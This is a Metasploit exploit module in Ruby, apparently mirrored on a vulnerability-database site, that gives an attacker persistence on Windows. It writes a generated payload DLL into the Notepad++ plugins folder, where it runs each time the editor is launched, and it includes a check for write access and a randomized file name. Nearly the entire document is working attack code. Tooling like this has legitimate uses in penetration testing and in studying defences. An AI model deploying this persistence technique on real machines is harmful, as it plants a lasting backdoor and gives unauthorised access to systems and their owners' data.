##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Notepad++ Plugin Persistence',
'Description' => %q{
This module create persistence by adding a malicious plugin to Notepad++, as it blindly loads and executes DLL from its plugin directory on startup, meaning that the payload will be executed every time Notepad++ is launched.
},
'License' => MSF_LICENSE,
'Author' => [ 'msutovsky-r7' ],
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' => [
[ 'Automatic', {} ]
],
'DisclosureDate' => '2005-12-11', # plugins were added to Notepad++
'DefaultTarget' => 0,
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
['URL', 'https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence']
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
]
)
end
def get_plugin_dir
expand_path('%PROGRAMFILES%\\Notepad++\\plugins\\')
end
def check
@plugin_dir = get_plugin_dir
return CheckCode::Safe('Notepad++ is probably not present') unless directory?(@plugin_dir)
# borrowed from startup folder persistence
begin
# windows only ps payloads have writable? so try that first
return CheckCode::Safe("Unable to write to #{@plugin_dir}") unless writable?(@plugin_dir)
rescue RuntimeError
filename = @plugin_dir + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))
write_file(filename, '')
if exists? filename
rm_f(filename)
else
return CheckCode::Safe("Unable to write to #{@plugin_dir}")
end
end
CheckCode::Vulnerable('Notepad++ present and plugin folder is writable')
end
def install_persistence
@plugin_dir ||= get_plugin_dir
payload_name = CGI.escape(datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))))
payload_pathname = @plugin_dir + payload_name + '\\'
payload_exe = generate_payload_dll({ dll_exitprocess: true })
fail_with(Failure::BadConfig, "#{payload_instance.arch.first} payload selected for #{sysinfo['Architecture']} system") unless sysinfo['Architecture'] == payload_instance.arch.first
vprint_good("Writing payload to #{payload_pathname}")
if session.type == 'meterpreter'
fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless session.fs.dir.mkdir(payload_pathname)
else
fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless mkdir(payload_pathname, cleanup: false)
end
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + payload_name + '.dll', payload_exe)
vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}")
@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation